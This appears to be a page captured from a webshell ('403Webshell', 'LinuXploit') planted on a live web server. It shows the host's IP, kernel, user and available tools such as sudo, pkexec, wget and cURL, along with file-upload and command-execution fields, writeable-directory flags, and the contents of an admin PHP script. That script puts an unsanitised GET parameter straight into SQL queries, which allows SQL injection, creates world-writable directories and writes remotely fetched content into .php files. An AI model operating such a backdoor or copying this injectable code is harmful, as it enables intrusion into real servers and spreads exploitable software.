403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.45
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/sportyone.com/public_html/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/sportyone.com/public_html/admin//hardcode.php
<?php 
	include_once('../_config.php');
	include_once('../fnk/fnc.php');
	$model_id = $_GET["model_id"];
	
	$query = "update models set last_pub = now() where model_id = '".$model_id."'  ";
	$result = mysql_query($query) or die('Query failed: ' . mysql_error());

	
	$query = "SELECT m.model_name, m.description,  t2m.model_id, t2m.asset_id, 
	UNIX_TIMESTAMP(a.p_date) as f_date   ";
	$query .= "FROM mod2asset t2m, models m, asset a ";
	$query .= "where t2m.model_id = m.model_id and t2m.asset_id = a.asset_id and t2m.model_id = '".$model_id."' ";
	$result = mysql_query($query) or die('Query failed: ' . mysql_error());
	$row_model = mysql_fetch_assoc($result);
	$f_date = $row_model["f_date"];
	$description = $row_model["description"];
	

	$model_name = $row_model["model_name"];
	$name_nospace = str_replace(' ', '', $model_name);
	$name_nospace = stripslashes(str_replace("'", '', $name_nospace));
	$first_letter = $model_name[0]	;
		
	mkdir_recursive(ROOT."/nudemodels/$first_letter/", 0777)or die("Fail to make directory");
	
	$filename = ROOT."/nudemodels/$first_letter/$name_nospace.php";

	$string = file_get_contents("http://new.sportyone.com/?content=model&model_id=".$_GET['model_id']."");

$fp = fopen($filename, 'w');
fwrite($fp, $string);
fclose($fp);

return $model_url = ROOT_URL."nudemodels/$first_letter/$name_nospace.php";
?>


Youez - 2016 - github.com/yon3zu
LinuXploit